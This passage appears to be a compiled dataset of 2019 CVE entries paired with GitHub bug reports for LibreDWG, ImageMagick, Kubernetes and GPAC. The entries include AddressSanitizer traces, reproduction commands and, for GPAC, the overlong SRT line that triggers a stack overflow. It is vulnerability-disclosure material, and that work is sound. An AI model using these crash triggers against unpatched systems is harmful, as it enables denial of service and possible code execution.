(/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c:1323:3 in bit_convert_TU ==32351==ABORTING ``` ### others from fuzz project None crash name None-00000001-1552381543.dwg Auto-generated by pyspider at 2019-03-12 18:15:46 ## dwg_decode_eed_data@decode.c:2354-32___heap-buffer-overflow ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dwg_decode_eed_data at decode.c:2354-32 ### commandline dwg2dxf @@ -o /dev/null ### source ```c In file: /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c 2349 LOG_TRACE("raw: %s\n", data->u.eed_4.data); 2350 break; 2351 case 10: case 11: case 12: case 13: /*case 14: case 15:*/ 2352 data->u.eed_10.point.x = bit_read_RD(dat); 2353 data->u.eed_10.point.y = bit_read_RD(dat); ► 2354 data->u.eed_10.point.z = bit_read_RD(dat); 2355 LOG_TRACE("3dpoint: %f, %f, %f\n", 2356 data->u.eed_10.point.x, 2357 data->u.eed_10.point.y, 2358 data->u.eed_10.point.z); 2359 break; ``` ### bug report ```txt ================================================================= ==32355==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300007ff11 at pc 0x7feedd1396cf bp 0x7ffeed7b1e10 sp 0x7ffeed7b1e08 WRITE of size 8 at 0x60300007ff11 thread T0 #0 0x7feedd1396ce in dwg_decode_eed_data /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2354:32 #1 0x7feedd1396ce in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2473 #2 0x7feedd12e7ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12 #3 0x7feedd008874 in dwg_decode_LEADER_private /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026:1 #4 0x7feedd008874 in dwg_decode_LEADER /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026 #5 0x7feedd008874 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3630 #6 0x7feedcfb73d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19 #7 0x7feedcfb73d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230 #8 0x7feedcf9a049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c #9 0x7feedcf754b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11 #10 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15 #11 0x7feedbe52b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #12 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) 0x60300007ff11 is located 0 bytes to the right of 17-byte region [0x60300007ff00,0x60300007ff11) allocated by thread T0 here: #0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97 #1 0x7feedd137a9f in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2470:47 #2 0x7feedd12e7ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2354:32 in dwg_decode_eed_data Shadow bytes around the buggy address: 0x0c0680007f90: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c0680007fa0: 00 05 fa fa 00 00 00 02 fa fa 00 00 01 fa fa fa 0x0c0680007fb0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fa 0x0c0680007fc0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x0c0680007fd0: fd fd fa fa 00 00 00 05 fa fa 00 00 00 02 fa fa =>0x0c0680007fe0: 00 00[01]fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0680007ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0680008000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0680008010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0680008020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0680008030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==32355==ABORTING ``` ### others from fuzz project None crash name None-00000004-1552381550.dwg Auto-generated by pyspider at 2019-03-12 18:15:46 ## dwg_dxf_BLOCK_CONTROL@dwg.spec:2154-1___out-of-bounds-read ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an out-of-bounds-read in function dwg_dxf_BLOCK_CONTROL at dwg.spec:2154-1 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32364==ERROR: AddressSanitizer: SEGV on unknown address 0x00207fff8003 (pc 0x7f4948e0cf48 bp 0x7fffdb01b150 sp 0x7fffdb01aee0 T0) ==32364==The signal is caused by a READ memory access. #0 0x7f4948e0cf47 in dwg_dxf_BLOCK_CONTROL /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2154:1 #1 0x7f4948e0cf47 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1421 #2 0x7f4948dce1d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9 #3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #4 0x7f49476d7b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2154:1 in dwg_dxf_BLOCK_CONTROL ==32364==ABORTING ``` ### others from fuzz project None crash name None-00000005-1552381649.dwg Auto-generated by pyspider at 2019-03-12 18:15:47 [dwg2dxf.tar.gz](https://github.com/LibreDWG/libredwg/files/2956421/dwg2dxf.tar.gz) And a same report send to [savannah.gnu.org/bugs](https://savannah.gnu.org/bugs/index.php?55893)

fuzzing results LibreDWG

https://api.github.com/repos/LibreDWG/libredwg/issues/99/comments

2019-03-12T10:51:26Z

2019-04-24T13:52:34Z

https://github.com/LibreDWG/libredwg/issues/99

CVE-2019-9956

2019-03-24T00:29:00.213

In ImageMagick 7.0.8-35 Q16, there is a stack-based buffer overflow in the function PopHexPixel of coders/ps.c, which allows an attacker to cause a denial of service or code execution via a crafted image file.

https://github.com/ImageMagick/ImageMagick/issues/1523

github.com

### Prerequisites - [Y] I have written a descriptive issue title - [Y] I have verified that I am using the latest version of ImageMagick - [Y] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There is a stack buffer overflow vulnerability in PopHexPixel of ps.c which could lead to code execution. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> [poc](https://drive.google.com/open?id=15oA65eaHZi7lMmx6fJU2MkKQ8IlVBpBv) magick convert $poc ./test.ps `root@ubuntu:/home/test# ./ImageMagick_as/utilities/magick convert ./stack-buffer-overflow-in-ps ./test.ps` `=================================================================` `==80022==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc0dc5d3c0 at pc 0x00000067e3f4 bp 0x7ffc0dc5c7d0 sp 0x7ffc0dc5c7c0` `WRITE of size 1 at 0x7ffc0dc5d3c0 thread T0` ` #0 0x67e3f3 in PopHexPixel coders/ps.c:1184` ` #1 0x682bf3 in WritePSImage coders/ps.c:2232` ` #2 0x84b8e7 in WriteImage MagickCore/constitute.c:1159` ` #3 0x84c60c in WriteImages MagickCore/constitute.c:1376` ` #4 0xbf328d in ConvertImageCommand MagickWand/convert.c:3305` ` #5 0xcdf3de in MagickCommandGenesis MagickWand/mogrify.c:184` ` #6 0x4103f1 in MagickMain utilities/magick.c:149` ` #7 0x4105d2 in main utilities/magick.c:180` ` #8 0x7fb06d32b82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)` ` #9 0x40ff08 in _start (/home/.test/test/ImageMagick_as/utilities/magick+0x40ff08)` `` `Address 0x7ffc0dc5d3c0 is located in stack of thread T0 at offset 2752 in frame` ` #0 0x67e48e in WritePSImage coders/ps.c:1191` `` ` This frame has 13 object(s):` ` [32, 48) 'delta'` ` [96, 112) 'resolution'` ` [160, 176) 'scale'` ` [224, 256) 'geometry'` ` [288, 320) 'media_info'` ` [352, 384) 'page_info'` ` [416, 448) 'bounds'` ` [480, 520) 'geometry_info'` ` [576, 664) 'pixel'` ` [704, 2752) 'pixels' <== Memory access at offset 2752 overflows this variable` ` [2784, 6880) 'buffer'` ` [6912, 11008) 'date'` ` [11040, 15136) 'page_geometry'` `HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext` ` (longjmp and C++ exceptions *are* supported)` `SUMMARY: AddressSanitizer: stack-buffer-overflow coders/ps.c:1184 PopHexPixel` `Shadow bytes around the buggy address:` ` 0x100001b83a20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00` ` 0x100001b83a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00` ` 0x100001b83a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00` ` 0x100001b83a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00` ` 0x100001b83a60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00` `=>0x100001b83a70: 00 00 00 00 00 00 00 00[f2]f2 f2 f2 00 00 00 00` ` 0x100001b83a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00` ` 0x100001b83a90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00` ` 0x100001b83aa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00` ` 0x100001b83ab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00` ` 0x100001b83ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00` `Shadow byte legend (one shadow byte represents 8 application bytes):` ` Addressable: 00` ` Partially addressable: 01 02 03 04 05 06 07 ` ` Heap left redzone: fa` ` Heap right redzone: fb` ` Freed heap region: fd` ` Stack left redzone: f1` ` Stack mid redzone: f2` ` Stack right redzone: f3` ` Stack partial redzone: f4` ` Stack after return: f5` ` Stack use after scope: f8` ` Global redzone: f9` ` Global init order: f6` ` Poisoned by user: f7` ` Container overflow: fc` ` Array cookie: ac` ` Intra object redzone: bb` ` ASan internal: fe` `==80022==ABORTING` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-35 Q16 x86_64 2019-03-22 https://imagemagick.org Copyright: ? 1999-2019 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP Delegates (built-in): bzlib djvu fftw fontconfig freetype jbig jng jpeg lcms lqr lzma openexr pangocairo png tiff webp wmf x xml zlib - Environment (Operating system, version and so on): Distributor ID: Ubuntu Description: Ubuntu 16.04.2 LTS Release: 16.04 Codename: xenial - Additional information: <!-- Thanks for reporting the issue to ImageMagick! -->

stack-buffer-overflow in PopHexPixel of ps.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1523/comments

2019-03-22T10:37:33Z

2019-03-26T09:38:55Z

https://github.com/ImageMagick/ImageMagick/issues/1523

CVE-2019-10649

2019-03-30T14:29:00.240

In ImageMagick 7.0.8-36 Q16, there is a memory leak in the function SVGKeyValuePairs of coders/svg.c, which allows an attacker to cause a denial of service via a crafted image file.

https://github.com/ImageMagick/ImageMagick/issues/1533

github.com

### Prerequisites - [Y] I have written a descriptive issue title - [Y] I have verified that I am using the latest version of ImageMagick - [Y] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There is a memory leak vulnerability in function SVGKeyValuePairs of coders/svg.c. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> [poc](https://drive.google.com/open?id=178I9vAWVNgp4Fwn9PZxaVZuLHaJyTPC-) magick convert $poc /dev/null `=================================================================` `==8783==ERROR: LeakSanitizer: detected memory leaks` `Direct leak of 144 byte(s) in 1 object(s) allocated from:` ` #0 0x7f1f6d7c1961 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98961)` ` #1 0x441b30 in ResizeMagickMemory MagickCore/memory.c:1302` ` #2 0x441bb4 in ResizeQuantumMemory MagickCore/memory.c:1366` ` #3 0x6d3c1c in SVGKeyValuePairs coders/svg.c:752` ` #4 0x6df888 in SVGEndElement coders/svg.c:2811` ` #5 0x7f1f6a0ae91c (/usr/lib/x86_64-linux-gnu/libxml2.so.2+0x4c91c)` `Direct leak of 80 byte(s) in 1 object(s) allocated from:` ` #0 0x7f1f6d7c1602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)` ` #1 0x440828 in AcquireMagickMemory MagickCore/memory.c:478` ` #2 0x44087c in AcquireQuantumMemory MagickCore/memory.c:551` ` #3 0x6d3b13 in SVGKeyValuePairs coders/svg.c:733` ` #4 0x6df888 in SVGEndElement coders/svg.c:2811` ` #5 0x7f1f6a0ae91c (/usr/lib/x86_64-linux-gnu/libxml2.so.2+0x4c91c)` `Indirect leak of 71185 byte(s) in 17 object(s) allocated from:` ` #0 0x7f1f6d7c1602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)` ` #1 0x440828 in AcquireMagickMemory MagickCore/memory.c:478` ` #2 0x44087c in AcquireQuantumMemory MagickCore/memory.c:551` ` #3 0x4c22c5 in AcquireString MagickCore/string.c:142` ` #4 0x6d3cad in SVGKeyValuePairs coders/svg.c:760` ` #5 0x6df888 in SVGEndElement coders/svg.c:2811` ` #6 0x7f1f6a0ae91c (/usr/lib/x86_64-linux-gnu/libxml2.so.2+0x4c91c)` `Indirect leak of 8194 byte(s) in 2 object(s) allocated from:` ` #0 0x7f1f6d7c1602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)` ` #1 0x440828 in AcquireMagickMemory MagickCore/memory.c:478` ` #2 0x44087c in AcquireQuantumMemory MagickCore/memory.c:551` ` #3 0x4c22c5 in AcquireString MagickCore/string.c:142` ` #4 0x6d3dd3 in SVGKeyValuePairs coders/svg.c:766` ` #5 0x6df888 in SVGEndElement coders/svg.c:2811` ` #6 0x7f1f6a0ae91c (/usr/lib/x86_64-linux-gnu/libxml2.so.2+0x4c91c)` `SUMMARY: AddressSanitizer: 79603 byte(s) leaked in 21 allocation(s).` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-36 Q16 x86_64 2019-03-28 https://imagemagick.org Copyright: ? 1999-2019 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP Delegates (built-in): bzlib djvu fftw fontconfig freetype jbig jng jpeg lcms lqr lzma openexr pangocairo png tiff wmf x xml zlib - Environment (Operating system, version and so on): Distributor ID: Ubuntu Description: Ubuntu 16.04.2 LTS Release: 16.04 Codename: xenial - Additional information: <!-- Thanks for reporting the issue to ImageMagick! -->

memory leak in SVGKeyValuePairs of coders/svg.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1533/comments

2019-03-28T15:41:27Z

2019-06-27T04:31:35Z

https://github.com/ImageMagick/ImageMagick/issues/1533

CVE-2019-10650

2019-03-30T14:29:00.303

In ImageMagick 7.0.8-36 Q16, there is a heap-based buffer over-read in the function WriteTIFFImage of coders/tiff.c, which allows an attacker to cause a denial of service or information disclosure via a crafted image file.

https://github.com/ImageMagick/ImageMagick/issues/1532

github.com

### Prerequisites - [Y] I have written a descriptive issue title - [Y] I have verified that I am using the latest version of ImageMagick - [Y] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There is a heap buffer overflow vulnerability in function WriteTIFFImage of coders/tiff.c. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> [poc](https://drive.google.com/open?id=1VPmM34DHDhFYJCMKvRYIAH4iT14hVsOE) magick convert $poc /dev/null `=================================================================` `==18861==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000b6b8 at pc 0x7fef0e998935 bp 0x7ffec33e6c90 sp 0x7ffec33e6438` `READ of size 512 at 0x60200000b6b8 thread T0` ` #0 0x7fef0e998934 in __asan_memcpy (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c934)` ` #1 0x7fef0dfa102b (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x1802b)` ` #2 0x7a392b in WriteTIFFImage coders/tiff.c:4309` ` #3 0x84807b in WriteImage MagickCore/constitute.c:1159` ` #4 0x848da0 in WriteImages MagickCore/constitute.c:1376` ` #5 0xbefa57 in ConvertImageCommand MagickWand/convert.c:3305` ` #6 0xcdbba8 in MagickCommandGenesis MagickWand/mogrify.c:184` ` #7 0x40fff1 in MagickMain utilities/magick.c:149` ` #8 0x4101d2 in main utilities/magick.c:180` ` #9 0x7fef0a20682f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)` ` #10 0x40fb08 in _start (/home/ImageMagick_as/utilities/magick+0x40fb08)` `` `0x60200000b6b8 is located 0 bytes to the right of 8-byte region [0x60200000b6b0,0x60200000b6b8)` `allocated by thread T0 here:` ` #0 0x7fef0e9a4602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)` ` #1 0x7fef0df923d4 (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x93d4)` `` `SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 __asan_memcpy` `Shadow bytes around the buggy address:` ` 0x0c047fff9680: fa fa fd fd fa fa 00 07 fa fa 00 04 fa fa 00 04` ` 0x0c047fff9690: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa 00 04` ` 0x0c047fff96a0: fa fa fd fa fa fa 02 fa fa fa 00 03 fa fa 00 04` ` 0x0c047fff96b0: fa fa 05 fa fa fa 00 04 fa fa 04 fa fa fa 00 fa` ` 0x0c047fff96c0: fa fa fd fd fa fa fd fa fa fa fd fa fa fa 00 00` `=>0x0c047fff96d0: fa fa 00 fa fa fa 00[fa]fa fa 00 fa fa fa 00 fa` ` 0x0c047fff96e0: fa fa 00 fa fa fa 00 00 fa fa fd fa fa fa fd fa` ` 0x0c047fff96f0: fa fa 00 00 fa fa 02 fa fa fa 00 03 fa fa 00 04` ` 0x0c047fff9700: fa fa 05 fa fa fa 00 04 fa fa 04 fa fa fa 00 fa` ` 0x0c047fff9710: fa fa 00 fa fa fa fd fa fa fa fd fa fa fa fd fa` ` 0x0c047fff9720: fa fa fd fa fa fa fa fa fa fa fa fa fa fa fd fa` `Shadow byte legend (one shadow byte represents 8 application bytes):` ` Addressable: 00` ` Partially addressable: 01 02 03 04 05 06 07 ` ` Heap left redzone: fa` ` Heap right redzone: fb` ` Freed heap region: fd` ` Stack left redzone: f1` ` Stack mid redzone: f2` ` Stack right redzone: f3` ` Stack partial redzone: f4` ` Stack after return: f5` ` Stack use after scope: f8` ` Global redzone: f9` ` Global init order: f6` ` Poisoned by user: f7` ` Container overflow: fc` ` Array cookie: ac` ` Intra object redzone: bb` ` ASan internal: fe` `==18861==ABORTING` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-36 Q16 x86_64 2019-03-28 https://imagemagick.org Copyright: ? 1999-2019 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP Delegates (built-in): bzlib djvu fftw fontconfig freetype jbig jng jpeg lcms lqr lzma openexr pangocairo png tiff wmf x xml zlib - Environment (Operating system, version and so on): Distributor ID: Ubuntu Description: Ubuntu 16.04.2 LTS Release: 16.04 Codename: xenial - Additional information: <!-- Thanks for reporting the issue to ImageMagick! -->

heap-buffer-overflow in WriteTIFFImage of coders/tiff.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1532/comments

2019-03-28T15:33:16Z

2019-05-18T13:35:30Z

https://github.com/ImageMagick/ImageMagick/issues/1532

CVE-2019-1002100

2019-04-01T14:29:00.483

In all Kubernetes versions prior to v1.11.8, v1.12.6, and v1.13.4, users that are authorized to make patch requests to the Kubernetes API Server can send a specially crafted patch of type "json-patch" (e.g. `kubectl patch --type json` or `"Content-Type: application/json-patch+json"`) that consumes excessive resources while processing, causing a Denial of Service on the API Server.

https://github.com/kubernetes/kubernetes/issues/74534

github.com

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H) (6.5, medium) Users that are authorized to make patch requests to the Kubernetes API Server can send a specially crafted patch of type “json-patch” (e.g. `kubectl patch --type json` or `"Content-Type: application/json-patch+json"`) that consumes excessive resources while processing, causing a Denial of Service on the API Server. Thanks to Carl Henrik Lunde for reporting this problem. CVE-2019-1002100 is **fixed** in the following Kubernetes releases: * [v1.11.8](https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.11.md/#v1118) * [v1.12.6](https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.12.md/#v1126) * [v1.13.4](https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.13.md/#v1134) ### Affected components: * Kubernetes API server ### Affected versions: * Kubernetes v1.0.x-1.10.x * Kubernetes v1.11.0-1.11.7 (fixed in [v1.11.8](https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.11.md/#v1118)) * Kubernetes v1.12.0-1.12.5 (fixed in [v1.12.6](https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.12.md/#v1126)) * Kubernetes v1.13.0-1.13.3 (fixed in [v1.13.4](https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.13.md/#v1134)) ### Mitigations: * Remove ‘patch’ permissions from untrusted users. Note: If you are using binaries or packages provided by a distributor (not the ones provided in the open source release artifacts), you should contact them to determine what versions resolve this CVE. Distributors may choose to provide support for older releases beyond the ones maintained by the open source project. ### Post-mortem: * [Document](https://github.com/kubernetes/kubernetes/files/3005552/PM-CVE-2019-1002100.pdf)

CVE-2019-1002100: json-patch requests can exhaust apiserver resources

https://api.github.com/repos/kubernetes/kubernetes/issues/74534/comments

2019-02-25T19:39:09Z

2022-05-16T21:57:19Z

https://github.com/kubernetes/kubernetes/issues/74534

CVE-2019-10714

2019-04-02T21:29:00.250

LocaleLowercase in MagickCore/locale.c in ImageMagick before 7.0.8-32 allows out-of-bounds access, leading to a SIGSEGV.

https://github.com/ImageMagick/ImageMagick/issues/1495

github.com

### Prerequisites - [ Y ] I have written a descriptive issue title - [ Y ] I have verified that I am using the latest version of ImageMagick - [ Y ] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description ```C 1522 MagickExport int LocaleLowercase(const int c) 1523 { 1524 #if defined(MAGICKCORE_LOCALE_SUPPORT) 1525 if (c_locale != (locale_t) NULL) 1526 return(tolower_l(c,c_locale)); 1527 #endif 1528 return(tolower(c)); 1529 } ``` The parameter `c` missing check in function LocaleLowercase, which may lead to out-of-boundary vulnerability. ### Steps to Reproduce https://github.com/Dk0n9/MyFuzzy/blob/master/oob_LocaleLowercase_crash `magick convert oob_LocaleLowercase_crash /dev/null` In the gdb: ``` Stopped reason: SIGSEGV 0x00007ffff6ddd857 in __tolower_l (c=0x14f3cf, l=0x7ffff7197960 <_nl_C_locobj>) at ctype_l.c:42 42 in ctype_l.c 2: c_locale = (volatile locale_t) 0x7ffff7197960 <_nl_C_locobj> gdb-peda$ bt #0 0x00007ffff6ddd857 in __tolower_l (c=0x14f3cf, l=0x7ffff7197960 <_nl_C_locobj>) at ctype_l.c:42 #1 0x00007ffff777f8ac in LocaleLowercase (c=0x14f3cf) at MagickCore/locale.c:1526 #2 0x00007ffff782a575 in GlobExpression ( expression=0x7ffffffedf82 "\365\217\217\217\217MMa\\-d-\n", pattern=0x7ffff7a8bb98 "EPSF-*", case_insensitive=MagickTrue) at MagickCore/token.c:544 #3 0x00007ffff782a0af in GlobExpression ( expression=0x7ffffffedf82 "\365\217\217\217\217MMa\\-d-\n", pattern=0x7ffff7a8bb98 "EPSF-*", case_insensitive=MagickTrue) at MagickCore/token.c:411 #4 0x00007ffff795385e in ReadPSImage (image_info=0x555555775d60, exception=0x55555576ab10) at coders/ps.c:617 #5 0x00007ffff769f8fa in ReadImage (image_info=0x555555772a70, exception=0x55555576ab10) at MagickCore/constitute.c:547 #6 0x00007ffff76a0fe3 in ReadImages (image_info=0x55555576f780, filename=0x555555769bb0 "./crash", exception=0x55555576ab10) at MagickCore/constitute.c:917 #7 0x00007ffff72163a1 in ConvertImageCommand (image_info=0x55555576f780, argc=0x3, argv=0x55555576a190, metadata=0x7fffffffbc10, exception=0x55555576ab10) at MagickWand/convert.c:644 #8 0x00007ffff72e9d0f in MagickCommandGenesis (image_info=0x55555576c490, command=0x7ffff72150f2 <ConvertImageCommand>, argc=0x3, argv=0x7fffffffdf90, metadata=0x0, exception=0x55555576ab10) at MagickWand/mogrify.c:184 #9 0x0000555555555347 in MagickMain (argc=0x3, argv=0x7fffffffdf90) at utilities/magick.c:149 #10 0x0000555555555484 in main (argc=0x4, argv=0x7fffffffdf88) at utilities/magick.c:180 #11 0x00007ffff6dceb97 in __libc_start_main (main=0x555555555464 <main>, argc=0x4, argv=0x7fffffffdf88, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdf78) at ../csu/libc-start.c:310 #12 0x000055555555504a in _start () ``` ### System Configuration - ImageMagick version: ImageMagick 7.0.8-30 Q16 x86_64 - Environment (Operating system, version and so on): Ubuntu 18.04 - Additional information: Credit: dk from Chaitin Tech

Out-of-boundary in function LocaleLowercase of MagickCore/locale.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1495/comments

2019-03-04T14:35:44Z

2019-04-03T01:40:39Z

https://github.com/ImageMagick/ImageMagick/issues/1495

CVE-2019-11221

2019-04-15T12:31:36.477

GPAC 0.7.1 has a buffer overflow issue in gf_import_message() in media_import.c.

https://github.com/gpac/gpac/issues/1203

github.com

There is a buffer overflow issue in gf_import_message () function, media_import.c szMsg overflow when srt file contains more than one txt line and the line is long enough. GF_Err gf_import_message(GF_MediaImporter *import, GF_Err e, char *format, ...) { if (gf_log_tool_level_on(GF_LOG_AUTHOR, e ? GF_LOG_WARNING : GF_LOG_INFO)) { va_list args; char szMsg[1024]; va_start(args, format); vsprintf(szMsg, format, args); va_end(args); GF_LOG((u32) (e ? GF_LOG_WARNING : GF_LOG_INFO), GF_LOG_AUTHOR, ("%s\n", szMsg) ); } return e; } //////////////////////debug///////////////////// (gdb) set args -srt 0 crafted_text.srt (gdb) r Starting program: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box -srt 0 crafted_text.srt [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Timed Text (SRT) import - text track 400 x 60, font Serif (size 18) Bad SRT formatting - expecting number got "hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hel" *** stack smashing detected ***: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box terminated Program received signal SIGABRT, Aborted. 0x00007ffff725bc37 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 0x00007ffff725bc37 in __GI_raise 